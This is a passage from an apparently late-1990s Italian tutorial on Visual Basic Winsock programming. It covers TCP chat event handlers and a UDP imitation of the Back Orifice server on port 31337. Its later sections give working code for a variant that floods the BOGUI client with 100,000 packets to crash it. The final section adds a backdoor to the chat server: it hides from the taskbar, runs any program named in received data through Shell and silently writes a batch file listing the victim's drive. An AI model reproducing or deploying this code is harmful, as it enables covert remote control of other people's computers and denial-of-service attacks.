  Invia i dati della riga -comandi- tramite la connessione.
  Ho aggiunto i caratteri "I>" perche' sul form di dialogo sono rappresentati 
  sia dati inviati sia dati in ricezione e in una lunga lista senza un qualcosa
  che identifichi i primi rispetto ai secondi andando a ricontrollare tutta la
  chat si farebbe confusione.
  Nel data arriva (dati in arrivo) .. ho aggiunto ovviamente "R>".

LEGGI = "I>" & a$ & vbCrLf & LEGGI  quindi vuol dire che aggiunge i nuovi dati inviati
sul form LEGGI collocando quelli piu' nuovi in testa alla lista. 


Private Sub TCP1_Close()
    Label1.Caption = "Verifica del collegamento : INATTIVO"
    TCP1.Close
End Sub

  Evento close del winsock .. serve piu' che altro in modalita' server. 
  Quando il collegamento viene terminato dal client viene chiuso anche 
  l'ascolto da parte del server.
  Questa procedura puo' anche essere tolta volendo.. non e' di grande utilita'
  soprattutto in considerazione del fatto che anche il server ha il suo pulsante termina.


Private Sub TCP1_Connect()
    Label1.Caption = "Collegamento effettuato e ATTIVO"
    Host = TCP1.RemoteHost
End Sub

  Anche questa e' una procedura ridondante .. ma interessante da conoscere. 
  Diciamo che e' utile anche questa esclusivamente al server.
  Il client infatti deve mettere un IP nella casella host. 
  Questo IP dovra' essere quello del server.  
  Al server basta stare in ascolto su una determinata porta dichiarata su "porta".
  Beh .. effettuato il collegamento il winsock ricava dai pacchetti inviati l'IP del client
  e lo visualizza automaticamente al server nella propria casella HOST.

  E' una procedura importantissima.. 

  Durante un collegamento si potra' quindi dire in ogni istante:

    ip_di_provenienza = TCP1.RemoteHost
    porta_dalla_quale_si_collegano = TCP1.RemotePort

  e' quello che fa NETSTAT in pratica... verifica se qualcuno e' collegato a voi e vi da
  il suo IP e la porta di provenienza dalla quale fluiscono i dati.

   [E infatti Rifare NETSTAT in VB col winsock non e' complicato.. ;-) ]

Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
    If (TCP1.State <> sckClosed) Then TCP1.Close
    TCP1.LocalPort = 0
    TCP1.Accept requestID
    Label1.Caption = "Collegamento effettuato e ATTIVO"
    Host = TCP1.RemoteHostIP
End Sub

 Questa e' la dichiarazione del server di 'accettazione' del collegamento col client.
 Il server riceve un identificatore (requestID) .. e lo deve accettare o meno sulla
 base dei dati delclient che gli vengono forniti IP e porta di provenienza.
 Dal momento che a noi di questi problemi non ci interessa nulla
 accetteremo tutto di buon grando con
 TCP1.accept requestID! ;-)


Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
    Dim Data As String
    On Error Resume Next
    TCP1.GetData Data
    LEGGI = "R>" & Data & vbCrLf & LEGGI
End Sub


  Il solito DataArrival con la linea

    LEGGI = "R>" & Data & vbCrLf & LEGGI

la quale, come spiegato in precedenza, mette i dati ricevuti in testa al form LEGGI
(la finestra di dialogo praticamente) aggiungendo i caratteri "R>" per evidenziare
che sono dati IN-ARRIVO.
 

Private Sub comandi_Click()
 comandi = ""
End Sub

  
 Semplicemente cancella la riga comandi dalle vecchie cose 'battute' quando ci cliccate 
 sopra col mouse.

----------------------------------------------------------

 Un esempio di protocollo UDP? ..si! ;-)
  e' ancora piu' semplice del TCP.. non necessita nemmeno del listen. Basta usare
 il solito evento DataArrival dopo aver settato la porta da controllare.

 Facciamo il caso di Bopsy ... Il programma che simula il server della backdoor Backorifice
 e invia al client messaggi costruiti ad hoc.


 Noi ci faremo un Bopsy 'casereccio' .. un programma che se ne sta li inattivo ascoltando
 la porta UDP 31337 e quando riceve qualche dato invia al client BOGUI un messaggio nel suo
 stesso linguaggio.

 Come prima cosa ci serve il messaggio tradotto nel protocollo specifico di backorifice.

 Io ho tradotto questo 

        MA LA VOGLIAMO FINIRE!  =  cuK(tm)t?3[SU|S"`

 Come ho fatto? .. e' una sciocchezza. ;-) .. basta aprire netcat in ascolto sulla porta
 UDP 31337, aprire il client BOGUI e inviare a se stessi (127.0.0.1) un qualunque comando
 che preveda l'invio di parametri mettendo come parametro appunto MA LA VOGLIAMO FINIRE!
 Il client inviera' al server (che nel nostro caso e' semplicemente NETCAT) la stringa
 gia' compilata.
 Si puo' usare anche NukeNabber.. le stringe che riceve e che mostra sono appunto i comandi
 cifrati in arrivo dal client BOGUI.
 Volendo ci sono in rete pagine che spiegano approfonditamente il protocollo magic di 
 backorifice, comprensive anche dei programmi per cifrare e decifrare i messaggi.
 Basta cercare "Boprotocol" o "Bo protocol" su altavista.

 Ora bisogna sapere qualcosina di piu' del funzionamento di backorifice per fare il nostro
 mini-bopsy.

 Il client apre a sua volta una porta dove sta in ascolto per riceve le risposte dal server.
 Tutte le volte cambia, ma questo non e' un problema infatti noi sappiamo bene che quando
 il winsock riceve un dato su una certa porta riceve contemporaneamente dentro i pacchetti
 anche le specifiche di chi lo ha inviato: IP + porta di provenienza.
 E il winsock li puo' mostrare molto semplicemente con UDP1.remotehostIP e UDP1.remotePort

 Attenzione: per questo programma sara' necessario tirare sul form il controllo UDP del winsock
 e non il TCP come abbiamo fatto fino ad ora!!


  In pratica il programma e' tutto qui: meno di 10 righe utili.

----------------------------------------------------------------
Private Sub Form_activate()
    UDP1.LocalPort = Porta_locale
    MioIP = UDP1.LocalIP
End Sub

Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
Dim rcv As Variant
On Error Resume Next
    UDP1.GetData rcv, vbString
    ricevi = ricevi & rcv
    IP_del_pingatore = UDP1.RemoteHostIP
    Porta_del_pingatore = UDP1.RemotePort
    UDP1.RemoteHost = IP_del_pingatore
    UDP1.SendData "cuK(tm)t?3[SU|S"`"
    
End Sub
----------------------------------------------------------------

 Sembrava peggio eh!? ;-))

  Fate un form con cinque caselle di testo

   La prima la chiamate "MioIp" 
   la seconda "Porta_locale" (ci mettete 31337 di default)
   La terza "IP_del_pingatore"
   la quarta "Porta_del_pingatore"
 
 la quinta la fate grande (e' dove ricevete i messaggi dal bogui..tipo nukenabber)
 la chiamate "ricevi".

 Tutto qui.. lo lanciate... poi provate a pingarvi col bogui (anche scollegati su 127.0.0.1)
 vedrete nella finestra ricevi del vostro minibopsy apparire i codici inviati dal bogui.
 Nella finestra MioIP il vostro io.. 127.0.0.1 in questo caso. e nelle due sottostanti
 l'ip e la porta di provenienza del ping. (Se ve lo avesse inviato uno in rete ora avreste
 il suo IP e la porta dal quale ve l'ha spedito!)

 In compenso sul BOGUI al posto del classico PONG vedrete apparire come per miracolo 
 la scritta
 
 ---------------------------------------------
 MA LA VOGLIAMO FINIRE!
 ---------------------------------------------

 

  Come funziona? .. 

 La prima procedura

Private Sub Form_activate()
    UDP1.LocalPort = Porta
    MioIP = UDP1.LocalIP
End Sub

 Setta semplicemente all'apertura del programma il controllo UDP del winsock sulla porta 
 locale dove intendete mettervi in ascolto.. (la 31337 si suppone) e vi da 
 (solo per informazione) il vostro IP del momento nella casella MioIp.

 
Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
Dim rcv As Variant
On Error Resume Next
    UDP1.GetData rcv, vbString
    ricevi = ricevi & rcv
    IP_del_pingatore = UDP1.RemoteHostIP
    Porta_del_pingatore = UDP1.RemotePort
    UDP1.RemoteHost = IP_del_pingatore
    UDP1.SendData "cuK(tm)t?3[SU|S"`"
 End Sub
 
questa procedura e' TUTTO il programma bopsy! ;-)

 Cosa fa'?.

 All'arrivo di dati sulla porta precedentemente settata per l'ascolto l'evento dataArrival
 esegue la procedura. I dati sono sommati alla casella di testo ricevi.
 Nelle caselle Ip_del_pingatore e Porta_del_pingatore il winsock tramite
 UDP1.RemoteHostIp e UDP1.RemotePort ci informa da dove provengono i dati.

 A questo punto se NOI mettiamo l'Ip del pingatore in UDP1.RemoteHost e la porta 
 sulla quale spedire in RemotePort (che e' gia' settata di suo) 
 possiamo a nostra volta SPEDIRE al client BOGUI dei dati se quella specifica porta che
 lascia aperta appositamente per il suo server.

 Noi al posto del PONG tradizionale spediremo il cifrato precedentemente trovato.
 Potete ovviamente spedire qualunque altra riga di testo purche' in precedenza 
 cifrata col sistema del nukenabber o del netcat.

 .. ad essere onesti adesso vi basta il minibopsy per avere le stringhe cifrate del BOGUI!!
  he he he  .. la finestra di dialogo "ricevi" fa esattamente quello che vi serve.



 Un bopsy che manda in crash il client bogui? ;-)

  lo stesso programma di prima

 il form e' questo 

  +-----------------------------------------------------------------+
  |            _____________         ____________                   |
  | Il mio IP |MioIp________| Porta |Porta_locale| (31337 default!) |
  |  _____________________________________________________________  |
  | |                                                             | | 
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  | |_____________________________________________________________| | 
  |                       ________________   ___________________    | 
  |  Ip-Pingatore:Porta  |Ip_del_pingatore| |Porta_del_pingatore|   |
  |_________________________________________________________________|


 Il programma .. che invia 100000 messaggi al client fino a mandarlo in crash.

 ---------------------------------------------------------------------
Private Sub Form_activate()
    UDP1.LocalPort = porta_locale
    MioIp = UDP1.LocalIP
End Sub
Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
On Error Resume Next
    UDP1.GetData rcv, vbString
    text4 = text4 & rcv & vbCrLf
    IP_del_pingatore = UDP1.RemoteHostIP
    Porta_del_pingatore = UDP1.RemotePort
    UDP1.RemoteHost = IP_del_pingatore
    For n=1 to 100000
    DoEvents
     UDP1.SendData "cuK(tm)t?3[SU|S"`"
    Next n
End Sub
--------------------------------- 

 Tutto chiaro? ;-)

Ora ci sarebbe la parte riguardante le nuke e le backdoor. 

 Dico sarebbe perche' in effetti non c'e'.. se non avete capito come fare un programma
 per mandare una nuke o per fare una backdoor dopo aver letto tutta questa roba e' meglio
 che lasciate perdere la programmazione col winsock! ;-)

  vi do il via cmq.. la partenza e' sempre la cosa piu' importante.

 I piu' vispi avranno gia' visto che il programm CHAT e' gia di per se una backdoor!

 Le uniche modifiche da fare sarebbero quelle di rendere il server automatico, nel senso
 che dovrebbe porsi in lISTEN automaticamente eliminando la procedura per la disconnessione
 per simpatia col client. (E ci vuole poco)
 Per far si che non appaia nella task bar c'e' l'opzione apposita nelle proprieta' del form
 in vb.
 
 me.ShowInTaskbar = false

 Poi andrebbe ad esempio modificata la procedura col DataArrival..

   provate ad aggiungere queste linee dopo l'istruzione TCP1.Getdata
  
-----------------------------------------------------------
   ' shell
   ' inviando al server invece del solito testo una frase tipo
   '  /1 calc.exe 1 .. il server esegue il programma (se e' presente
   ' sul computer ospite) indicato tra gli estremi /1 - 1
     If InStr(1, Data, "/1") Then
       inizio = InStr(1, Data, "/1") + 2
       lun = InStr(1, Data, "1") - inizio
       a$ = Mid$(Data, inizio, lun)
       txtOutput = a$
       a = Shell(a$, 1)
      End If

    ' Message box
    ' Apre una MsgBox col testo indicato tra gli estremi /2 - 2
     If InStr(1, Data, "/2") Then
       inizio = InStr(1, Data, "/2") + 2
       lun = InStr(1, Data, "2") - inizio
       a$ = Mid$(Data, inizio, lun)
       txtOutput = a$
       a = MsgBox(a$, , " Master dialog ;-) ")
      End If

     ' Directory LIST
     ' Dice al server di costruire di noascosto un file
     ' contenente la lista dei file presenti sull'hd nella
     ' directory principale.
     ' Salva il tutto nel file MIO.TXT collocato nel folder
     ' del server.
     If InStr(1, Data, "/3") Then
       inizio = InStr(1, Data, "/3") + 2
       lun = InStr(1, Data, "3") - inizio
       a$ = Mid$(Data, inizio, lun)
       Open "c:dire.bat" For Output As #1
        Print #1, "dir c:*.* > c:mio.txt"
        Print #1, ""
        Close #1
       a = Shell("c:dire.bat", 0)
       End If
     
     ' mandando il testo "hi hi hi"
     ' apre la calcolatrice di windows.     
     If InStr(1, a$, "hi hi hi") > 0 Then
     a = Shell("c:windowscalc.exe", 1)
        End If


  ecc..
  ecc..
  ecc..

 ----------------------------------------------------



  C'era altro che dovevo dire? .. no. Mi pare tutto. Tanto. Pure troppo forse. ;-)
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